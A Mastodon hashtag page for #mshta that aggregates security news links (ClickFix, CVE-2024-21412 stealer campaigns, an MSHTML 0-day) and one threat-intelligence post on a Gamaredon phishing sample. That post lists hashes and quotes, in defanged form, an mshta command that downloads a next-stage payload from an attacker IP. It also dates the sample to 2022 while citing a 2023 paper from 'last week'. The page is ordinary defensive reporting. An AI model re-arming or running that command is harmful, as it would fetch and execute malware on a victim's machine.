Fosstodon

0 posts0 participants0 posts today

KrebsOnSecurity RSSClickFix: How to Infect Your PC in Three Easy Steps<a href="https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/" rel="nofollow noopener noreferrer" translate="no" target="_blank">https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/</a> <a href="https://burn.capital/tags/U" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#U</a>.S.DepartmentofHealthandHumanServices <a href="https://burn.capital/tags/MicrosoftWindows" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MicrosoftWindows</a> <a href="https://burn.capital/tags/MicrosoftOffice" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MicrosoftOffice</a> <a href="https://burn.capital/tags/GoogleChrome" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#GoogleChrome</a> <a href="https://burn.capital/tags/booking" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#booking</a>.com <a href="https://burn.capital/tags/ArcticWolf" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#ArcticWolf</a> <a href="https://burn.capital/tags/proofpoint" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#proofpoint</a> <a href="https://burn.capital/tags/mshta" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#mshta</a>.exe <a href="https://burn.capital/tags/ClickFix" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#ClickFix</a> <a href="https://burn.capital/tags/Facebook" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Facebook</a> <a href="https://burn.capital/tags/Other" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Other</a>

ITSEC NewsClickFix: How to Infect Your PC in Three Easy Steps - A clever malware deployment scheme first spotted in targeted attacks last year has... <a href="https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/" rel="nofollow noopener noreferrer" translate="no" target="_blank">https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/</a> <a href="https://schleuss.online/tags/u" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#u</a>.s.departmentofhealthandhumanservices <a href="https://schleuss.online/tags/microsoftwindows" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#microsoftwindows</a> <a href="https://schleuss.online/tags/microsoftoffice" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#microsoftoffice</a> <a href="https://schleuss.online/tags/googlechrome" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#googlechrome</a> <a href="https://schleuss.online/tags/booking" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#booking</a>.com <a href="https://schleuss.online/tags/arcticwolf" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#arcticwolf</a> <a href="https://schleuss.online/tags/proofpoint" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#proofpoint</a> <a href="https://schleuss.online/tags/mshta" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#mshta</a>.exe <a href="https://schleuss.online/tags/clickfix" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#clickfix</a> <a href="https://schleuss.online/tags/facebook" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#facebook</a> <a href="https://schleuss.online/tags/other" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#other</a>

Pyrzout :vm:ClickFix: How to Infect Your PC in Three Easy Steps <a href="https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/" rel="nofollow noopener noreferrer" translate="no" target="_blank">https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/</a> <a href="https://social.skynetcloud.site/tags/U" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#U</a>.S.DepartmentofHealthandHumanServices <a href="https://social.skynetcloud.site/tags/MicrosoftWindows" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MicrosoftWindows</a> <a href="https://social.skynetcloud.site/tags/MicrosoftOffice" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MicrosoftOffice</a> <a href="https://social.skynetcloud.site/tags/GoogleChrome" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#GoogleChrome</a> <a href="https://social.skynetcloud.site/tags/booking" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#booking</a>.com <a href="https://social.skynetcloud.site/tags/ArcticWolf" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#ArcticWolf</a> <a href="https://social.skynetcloud.site/tags/proofpoint" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#proofpoint</a> <a href="https://social.skynetcloud.site/tags/mshta" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#mshta</a>.exe <a href="https://social.skynetcloud.site/tags/ClickFix" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#ClickFix</a> <a href="https://social.skynetcloud.site/tags/Facebook" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Facebook</a> <a href="https://social.skynetcloud.site/tags/Other" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Other</a>

卡拉今天看了什麼網路捷徑檔案安全機制繞過漏洞遭到利用超過一年，攻擊者用於散布數種竊資軟體 | iThome<blockquote><a href="https://www.ithome.com.tw/news/164159" rel="nofollow noopener noreferrer" target="_blank">Link</a></blockquote>📌 Summary: 微軟在今年2月例行更新中修補了網路捷徑檔案安全繞過漏洞CVE-2024-21412，但駭客卻利用這項漏洞來散布多種竊資軟體，攻擊範圍涵蓋北美、西班牙和泰國。資安業者Fortinet在分析中發現，攻擊者製作指向特定遠端伺服器的惡意URL檔案，並在受害電腦下載LNK檔案，誘使受害者執行該檔案，從而推進攻擊。研究人員看到駭客使用兩種不同程式碼注入工具來繞過防禦，最終在受害電腦植入竊資軟體。 🎯 Key Points: 1. 微軟在今年2月修補了網路捷徑檔案安全繞過漏洞CVE-2024-21412，但駭客利用它散布竊資軟體。 2. 資安業者Fortinet發現，攻擊者製作指向特定遠端伺服器的惡意URL檔案，並誘使受害者執行以推進攻擊。 3. 研究人員看到駭客使用兩種程式碼注入工具，最終在受害電腦植入竊資軟體。 4. Fortinet發現，駭客利用Steam社群網站作為Dead Drop Resolver來埋藏C2來源。 🔖 Keywords: <a href="https://social.mikala.one/tags/CVE-2024-21412" rel="nofollow noopener noreferrer" target="_blank">#CVE-2024-21412</a> <a href="https://social.mikala.one/tags/Fortinet" rel="nofollow noopener noreferrer" target="_blank">#Fortinet</a> <a href="https://social.mikala.one/tags/Water" rel="nofollow noopener noreferrer" target="_blank">#Water</a> Hydra <a href="https://social.mikala.one/tags/Lumma" rel="nofollow noopener noreferrer" target="_blank">#Lumma</a> Stealer <a href="https://social.mikala.one/tags/Meduza" rel="nofollow noopener noreferrer" target="_blank">#Meduza</a> Stealer <a href="https://social.mikala.one/tags/ACR" rel="nofollow noopener noreferrer" target="_blank">#ACR</a> Stealer <a href="https://social.mikala.one/tags/PowerShell" rel="nofollow noopener noreferrer" target="_blank">#PowerShell</a> <a href="https://social.mikala.one/tags/HTA指令碼" rel="nofollow noopener noreferrer" target="_blank">#HTA指令碼</a> <a href="https://social.mikala.one/tags/Edge主程式圖示" rel="nofollow noopener noreferrer" target="_blank">#Edge主程式圖示</a> <a href="https://social.mikala.one/tags/LNK檔案" rel="nofollow noopener noreferrer" target="_blank">#LNK檔案</a> <a href="https://social.mikala.one/tags/forfiles" rel="nofollow noopener noreferrer" target="_blank">#forfiles</a> <a href="https://social.mikala.one/tags/mshta" rel="nofollow noopener noreferrer" target="_blank">#mshta</a> <a href="https://social.mikala.one/tags/Imghippo" rel="nofollow noopener noreferrer" target="_blank">#Imghippo</a> <a href="https://social.mikala.one/tags/GdipBitmapGetPixel" rel="nofollow noopener noreferrer" target="_blank">#GdipBitmapGetPixel</a> <a href="https://social.mikala.one/tags/HijackLoader" rel="nofollow noopener noreferrer" target="_blank">#HijackLoader</a> <a href="https://social.mikala.one/tags/Steam社群網站" rel="nofollow noopener noreferrer" target="_blank">#Steam社群網站</a> <a href="https://social.mikala.one/tags/Dead" rel="nofollow noopener noreferrer" target="_blank">#Dead</a> Drop Resolver <a href="https://social.mikala.one/tags/Docker" rel="nofollow noopener noreferrer" target="_blank">#Docker</a> <a href="https://social.mikala.one/tags/AuthZ" rel="nofollow noopener noreferrer" target="_blank">#AuthZ</a> <a href="https://social.mikala.one/tags/OpenAI" rel="nofollow noopener noreferrer" target="_blank">#OpenAI</a> <a href="https://social.mikala.one/tags/GPT-4o" rel="nofollow noopener noreferrer" target="_blank">#GPT-4o</a> mini <a href="https://social.mikala.one/tags/Meta" rel="nofollow noopener noreferrer" target="_blank">#Meta</a> Llama 3

Pyrzout :vm:0-Day en Windows MSHTML utilizado en ataques de malware <a href="https://blog.elhacker.net/2024/07/0-day-en-windows-mshtml-malware.html" rel="nofollow noopener noreferrer" translate="no" target="_blank">https://blog.elhacker.net/2024/07/0-day-en-windows-mshtml-malware.html</a> <a href="https://social.skynetcloud.site/tags/Malware" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Malware</a> <a href="https://social.skynetcloud.site/tags/MSHTML" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MSHTML</a> #0-day <a href="https://social.skynetcloud.site/tags/MSHTA" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#MSHTA</a>

Dmitry BestuzhevA very fresh <a href="https://infosec.exchange/tags/Gamaredon" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Gamaredon</a> TA sample from today (Jan 23, 2022) targeting the Directorate General For Rendering Services To Diplomatic Missions of <a href="https://infosec.exchange/tags/Ukraine" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Ukraine</a>: Original email: afb612d08112c036628a29ed8d4bd4550ca7cfed2582e2f432f2283a9b507f15Attachment: d124919de870b5974639ba24dd80709ed890119bdec4ba6a6179464fca4ef952 *Запит.tarExtracted malicious LNK: 600ef7861ad03b434d98312a4133dc33fa1944f43c2e558044dfcdb342803147 *Відповідно_до_статті_20_Закону,_просимо_надати_відповідь_протягом_5_робочих_днів_з_дня_отримання_запиту.lnk dropping a next stage <a href="https://infosec.exchange/tags/vbscript" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#vbscript</a> via <a href="https://infosec.exchange/tags/mshta" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#mshta</a>%windir%\system32\mshta[.]exe http://194.180.174[.]203/23.01/mo/baseball[.]DjVu284bd873c840415ee24738f0a866b558d51f5f58b6bf29fb2818ffb819f9bd04 *baseball.DjVuOnce deobfuscated it leads to a <a href="https://infosec.exchange/tags/Telegram" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#Telegram</a> channel providing with the next state IP: b7422446c22baee16c6c9c00a82610f739b836648ffce070bbd6c932db5416f5 *baseball.DjVu.deobfuscatedWe have a full paper of this Telegram multi-staging technique published last week here: <a href="https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations" rel="nofollow noopener noreferrer" target="_blank">https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations</a>

Recent searches

Search options

Administered by:

Server stats:

#mshta